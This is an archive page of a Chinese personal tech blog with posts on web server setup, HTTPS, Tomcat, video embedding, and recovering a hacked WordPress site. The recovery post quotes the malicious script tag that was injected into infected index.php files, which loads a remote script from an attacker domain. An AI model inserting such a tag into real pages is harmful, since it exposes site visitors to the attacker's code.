分类目录归档:Web

网站被黑之后应该做的几件事

3 月 20 日早上收到邮件提醒,网站突然新增了一个注册用户。然后访问网站发现已经挂掉。

阿里云后台提示有一个网站后门,木马文件路径是 wp-content/uploads/YouxrioS/t_HUZiTkl2_s,可以断定网站已经被黑了,并且已经留下后门。我想可能是因为网站大半年都没有更新内容,黑客大哥提醒我该更新了。

用 SSH 还能远程登录到服务器,并且 root 密码,还有一般用户的密码都没改掉,说明黑客还没成功通过 webshell 提权。 服务器并未受到影响,唯一受到影响的是 WordPress 网站。进入网站目录可以发现很多 index.php 都被感染了,首行都被注入了下面的代码:

<script type='text/javascript' async src='https://setforspecialdomain.com/in2herg42t2?type=in2&frm=scr&'></script>

删除后门,简单恢复被感染的文件后,首页已经可以正常访问,但不能正常加载 css。后台登陆被强制跳转到 https://getmyfreetraffic.com/n90sab35473/wp-login.php。

看样子应该是 WordPress 地址与站点地址被篡改了。

解决办法:

1.先查询 siteurl、home 的值。

2.可以看到 siteurl 已经被篡改,改回来即可,确保 siteurl、home 的值都是正常的。

update wp_options set option_value = 'https://www.shelwee.com' where option_name = 'siteurl';

3.安全起见,还是应该所服务器上相关的密码都修改一下。比如:服务器 root 用户密码,MySQL 密码, FTP 密码, WordPress 网站后台密码等。

4.定时备份,防止最坏的事情发生。

5.升级 WordPress 、插件、主题到最新版本。

原因分析

经过排查,应该是之前安装的 Easy WP SMTP v1.3.9 这个插件的锅。这个版本含有一个 0DAY 漏洞允许未经身份验证的用户修改 WordPress options 或在其他恶意操作中注入和执行代码。

如果你也是使用这个版本的 Easy WP SMTP 插件,请尽快升级到最新版本或者停用。

除此之外,还应该删除后台可疑注册用户,并且修改你在 Easy WP SMTP 插件中配置的邮箱密码,很可能已经泄漏了。

参考

1.https://blog.nintechnet.com/critical-0day-vulnerability-fixed-in-wordpress-easy-wp-smtp-plugin/

THE END

引用视频网站资源的正确姿势

1.前言

目前大部分网站如果需要嵌入视频的话,应该都是先把视频上传到视频网站平台上(如腾讯视频、爱奇艺、优酷等),然后再引用视频网站平台的资源,而引用的方式则是插入视频网站提供的分享代码。

腾讯视频、爱奇艺、优酷等视频网站都提供了多种引用方式,分别有 flash 地址、html、通用代码等。

2.Flash 与 Html 代码引用

众所周知,目前 Flash 已经逐渐衰落,各大视频网站也正在逐渐向 HTML5 技术转移。所以 Flash 的引用方式兼容性很差,PC 端目前还能正常使用,而移动端基本上已经惨不忍睹了。如果你用的是 Chrome 浏览器,那么你应该看过下面的提示:

所以就不要用 flash 这种方式了。

现在看看各家视频网站提供的 Html 代码:

<embed type="application/x-shockwave-flash" src="url" allowFullScreen="true" quality="high" width="480" height="400" align="middle" allowScriptAccess="always" ></embed>

看到 application/x-shockwave-flash 没有?这种引用方式实际上也是依赖的 flash,在手机上也是完全不显示,因此这个方式也不推荐。

3.通用代码

之所以叫通用代码是因为它的特点是通用,以腾讯视频为例,看看代码:

<iframe frameborder="0" width="1280" height="720" src="https://v.qq.com/iframe/player.html?vid=t00253jl9mv&tiny=0&auto=0" allowfullscreen></iframe>

它是直接用 iframe 嵌入视频地址,然后网页在加载的时候 iframe 包含的视频部分就会由视频网站负责渲染,并以最佳的方式呈现,所以不管是 PC 端还是移动端都能正常显示播放。

因此通用代码是最佳的引用方式。当然,如果你的网站是纯粹面向 PC 端的,那么用 html 代码 embed 暂时也是没问题的。

4.可能会出现的问题

通用代码虽然是相对最优的选择,但是也有可能出现问题,比如引用了上面的代码,PC 端访问正常,移动端虽然也能正常访问,但是视频上下两端都出现了一大截黑块,高度无法自适应。

解决思路

让 iframe 宽度为 100%,与父容器宽度一致,高度动态计算赋值。把视频比例当成 16:9 来处理,则 iframe 高度为: height = 父容器宽度 * 9 /16

转成代码

<iframe id="video_iframe" frameborder="0" width="100%" height="" src="https://v.qq.com/iframe/player.html?vid=t00253jl9mv&tiny=0&auto=0" allowfullscreen></iframe>

把 js 代码放在 /body 之前

<script type="text/javascript">
    iframe = document.getElementById('video_iframe');
    //parent-id 为 iframe 的父容器 id
    iheight = document.getElementsById("parent-id").offsetWidth *9/16;
    iframe.style.height = iheight + "px";
</script>
THE END

如何优雅地给网站添加赞赏功能?

1.前言

前阵子发布了一个很小的开源项目 reward.js,这是一个高效且通用的、低侵入性的赞赏功能。不论何种类型的网站,仅仅在需要显示赞赏功能的页面引入一行 JS 代码即可实现这个功能。

 2.添加赞赏步骤

  1. 下载 reward.min.js
  2. 把 reward.min.js 文件里的两个二维码图片链接改为自己的并上传到服务器上
  3. 在对应的页面插入下面这行代码即可显示赞赏按钮。(同样把下面的 src 的链接修改为你服务器上的 reward.min.js 的链接。)
<script type="text/javascript">document.write(unescape("%3Cdiv id='reward' %3E%3C/div%3E%3Cscript src='http://www.shelwee.com/wp-content/themes/shelwee/js/reward.min.js' type='text/javascript'%3E%3C/script%3E"));</script>

至此,你就可以把上面这行代码引用到任何你想放的地方。

假如你同时运营多个网站,那只要把上面那行代码分别放到不同网站页面的指定位置就行了。一次配置,任意使用。够优雅吧?

3.后期更新计划

目前这个版本在 PC 端使用没有发现任何问题,但这还远远不够。后期的更新计划如下:

  • 支持识别微信 WebView
  • 增加支持移动端显示

本想支持移动端场景,但考虑到通过微信公众号阅读原文链接(或公众号菜单等)跳转到网站更加高频,而其它移动端场景暂时不考虑,使用场景及频率都不高。所以仅支持第一条即可覆盖绝大部分使用场景。

所以最后计划要实现的功能就是: reward.js 如果识别到是用微信 WebView 在阅读网站内容,就只显示微信赞赏码。

THE END

WordPress 免费开启全站 HTTPS

1.前言

记不清楚 Chrome 是从哪个版本开始标记网站是否采用 HTTPS 协议,即在网址前面有一把绿色的锁,旁边有「安全」两字。而一般未采用 HTTPS 协议的网站则是一个黑色的i图标,表示 「不安全」。
虽然使用 HTTP 协议并不影响使用,但这事估计早晚都得做。于是今天就干脆把网站从 HTTP 过渡到 HTTPS,顺便记录一下阿里云服务器上 WordPress 开启全站 HTTPS 的过程。

2.申请证书

由于我用的是阿里云服务器,所以直接在阿里云申请的 CA 安全证书。如果服务器用的不是阿里云,可以在 Let’s Encrypt 申请。
登录阿里云后,点击「产品与服务」-> 「安全(云盾)」栏目下的「CA证书服务(数据安全)」,然后点击「购买证书」,选择「免费型DV SSL」,购买。

免费数字证书,最多保护一个明细子域名,不支持通配符,一个阿云帐户最多签发20张免费证书。

购买成功后,按要求补全相关个人信息,然后等待审核通过即可下载证书。

3.Nginx 配置证书

在 Nginx 安装目录创建 cert 文件夹,把下载的证书上传到此目录。上传后的路径类似这样:

  • /etc/nginx/cert/1127.key
  • /etc/nginx/cert/1127.pem

然后配置 nginx.conf ,配置如下,直接将访问 HTTP 的请求 301 跳转到 HTTPS 上。

server {
    listen       80;
    server_name shelwee.com www.shelwee.com;
    return 301    https://$host$request_uri;
}


server {
    listen 443;
    server_name shelwee.com www.shelwee.com;
    ssl on;
    root /home/www.shelwee.com;
    index index.php index.html index.htm;
    ssl_certificate   cert/1127.pem;
    ssl_certificate_key  cert/1127.key;
    ssl_session_timeout 5m;
    ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_prefer_server_ciphers on;
    location / {
        try_files $uri $uri/ /index.php?$args;
    }
        location ~ \.php$ {
        fastcgi_pass   127.0.0.1:9000;
        try_files $uri $uri/ /index.php?$args;
        fastcgi_connect_timeout 300;
        fastcgi_read_timeout 300;
        fastcgi_send_timeout 300;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include        fastcgi_params;
    }
}

保存 nginx.conf 并重启 Nginx 。

sudo service nginx reload

这时刷新网站,虽然网址可能已经出现 HTTPS ,但前面的图标应该还不是绿色的安全锁,因为网站的资源还是 HTTP 协议下的,所以下一步要把网站的所有资源链接都替换成 HTTPS。

4.WordPress 修改

function.php

打开主题模板下的 function.php 文件,在文件末尾追加下面的函数:

/* 替换资源链接为 https */
function resources2Https($content){
    if( is_ssl() ){
        $content = str_replace('https://www.shelwee.com/wp-content/uploads', 'https://www.shelwee.com/wp-content/uploads', $content);
    }
    return $content;
}
add_filter('the_content', 'resources2Https');

wp-config.php

最后修改 wp-config.php 文件,文件末尾追加下面语句:

/* 强制后台和登录使用 SSL */
define('FORCE_SSL_LOGIN', true);
define('FORCE_SSL_ADMIN', true);

现在刷新网站,绿色的安全锁是不是已经出现了?如果没有的话,检查一下网站上是不是存在一些写死的资源路径,找出他们(通常是 http:// 开头的)并修改成 https:// 。

THE END

Tomcat 多实例部署

1.前言

最近遇到一个 Tomcat 部署的问题:多个项目均部署在一个 Tomcat 实例上,也就是说一台服务器上只运行一个 Tomcat,而这个 Tomcat 上部署着多个项目,这就意味着只要其中一个项目重新部署需要重启 Tomcat,就会导致其他所有项目也会出现暂时无法访问的状态。

2.准备

  • 假设已下载 Apche Tomcat 压缩包,并且已经解压到 D 盘,路径为:D:\apache-tomcat。
  • 假设有两个 Web 项目,分别是 project1、project2。

3.配置

1.在 D:\apache-tomcat 下新建 project1、project2 目录(也可以是其他任意目录)。

2.将 D:\apache-tomcat 下的 conf、logs、temp、webapps、work 目录移动到 project1、project2 这两个目录, D:\apache-tomcat 只保留 bin、lib 这两个目录。

3.在两个项目的根目录下创建启动批处理脚本 startup.bat

@echo off

SET CATALINA_BASE=%CD%
SET CATALINA_HOME=D:\apache-tomcat

%CATALINA_HOME%\bin\catalina.bat start

4.在两个项目的根目录下创建服务批处理脚本 service.bat(非必须。将项目的 tomcat 启动程序注册为 windows 服务,桌面上就不会产生一个命令行窗口)

@echo off
SET CATALINA_BASE=%CD%
SET CATALINA_HOME=D:\apache-tomcat

if "%1%" == "install" goto gotInstall
if "%1%" == "remove" goto gotRemove
:gotInstall
%CATALINA_HOME%\bin\service.bat install "%2%"
:gotRemove
%CATALINA_HOME%\bin\service.bat remove "%2%"

5.修改端口:将 D:\apache-tomcat\project1\conf\server.xml 的 Server port 改为 8001,Connector port 改为 8081

<Server port="8001" shutdown="SHUTDOWN">

<Connector port="8081" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />

6.修改端口:将 D:\apache-tomcat\project2\conf\server.xml 的 Server port 改为 8002,Connector port 改为 8082

<Server port="8002" shutdown="SHUTDOWN">

<Connector port="8082" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />

4.部署

将 project1 的项目代码部署到 D:\apache-tomcat\project1\webapps 下, project2 的项目代码部署到 D:\apache-tomcat\project2\webapps 下,配置完后的目录树如下图:

5.运行

分别启动两个项目的 startup.bat ,然后就可以通过 http://localhost:8081、http://localhost:8082 访问对应的项目。

注:service.bat 使用说明

以 project1 为例说明。打开 cmd,切换到 D:\apache-tomcat\project1,输入

  • 注册服务
service install tomcat-project1
  • 删除服务
service remove tomcat-project1

注册服务完后,即可在 Windows 服务中进行启动、停止等操作。

THE END

Apache 代理转发 Tomcat 请求

1.前言

Web 服务器配置时常常会遇到这么个问题:80 端口已经被 Apache 或者 Tomcat 其中之一占用了,另一个怎么使用80端口? 最常见的解决方案是使用 Nginx 作为代理应用服务器,所以本文主要谈的并不是使用 Nginx 来解决这个问题,而是直接使用 Apache 作为代理应用服务器来解决。

2.背景介绍

  • 服务器上原本已经有多个 PHP 站点部署在 Apache 下,使用 80 端口;
  • 现在新增了一个 Java Web 项目,部署在 Tomcat 下, 使用 8080 端口;
  • 两者各自在不同的端口均能正常访问,现在要求 Java Web 项目也要使用 80 端口。

3.Tomcat 配置

Tomcat 无需额外配置,只要如下配置,保证在 IP + port 能正常访问的情况下即可:

Tomcat Server.xml 部分相关配置

<!-- 默认配置,无需修改,检查一下即可 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> 
<Host name="localhost"  appBase="webapps" unpackWARs="true" autoDeploy="true">

    <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix="localhost_access_log." suffix=".txt" pattern="%h %l %u %t &quot;%r&quot; %s %b" />
    
    <!-- docBase 配置项目所在绝对路径 -->
    <Context docBase="D:\project\test" path="" reloadable="true" source="org.eclipse.jst.jee.server:test"/>
    
</Host> 

4.Apache 配置

Apache httpd.conf 模块加载

#LoadModule proxy_module modules/mod_proxy.so
#LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
#LoadModule proxy_balancer_module modules/mod_proxy_balancer.so

# 找到上面三个模块,去掉 # 开启模块
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so

Apache httpd-vhosts.conf 配置

<VirtualHost *:80>
    ServerName test.shelwee.com
    ProxyPass / ajp://127.0.0.1:8009/ 
    ProxyPassReverse / ajp://127.0.0.1:8009/
    ErrorLog "logs/test.shelwee.com.log"  
    CustomLog "logs/test.shelwee.com.log" combined  
</VirtualHost>

配置完毕后,重启 Apache 服务器,然后开启 Tomcat 服务器。

5.代理过程说明

用户通过浏览器访问 test.shelwee.com 之后,Apache 会接收到这个请求,然后通过 AJP 协议转发到本地 8009 端口上,请求数据就能被 Tomcat 处理后返回。

THE END

也许选择 NGINX 才是正确的

在此之前,使用 Apache 作为 Web 服务器一直是我的优先选择,所以我的服务器通常安装LAMP,直到最近自己亲手在阿里云的低配置服务器上实践后才知道:原来 Apache 并不适合在低配置小内存的服务器,NGINX 才是正确的选择。

Apache 相当耗内存

Apache 毫无疑问是非常强大的Web服务器,尤其是基于php的动态系统,但是它同时也是个「内存大户」。几周的时间测试下来,Apache 几乎每 12-36 小时之内就会将内存耗光,直至自动停止。这换谁估计都无法忍受。
这时能想到应该就是优化配置看看了。将各项相关配置参数调到很低的值,依然不能为它洗白,依然改变不了它是内存大户的身份。

NGINX 表现良好

将 Web 服务器换成 NGINX,同时使用 PHP-FPM 之后,运行了近一周时间,再无出现耗尽内存导致 Web Server 停止运行的情况。
这样一对比,证明了在低配置服务器选择 NGINX 的必要性,而且 NGINX 在应对高并发方面也是首选。

THE END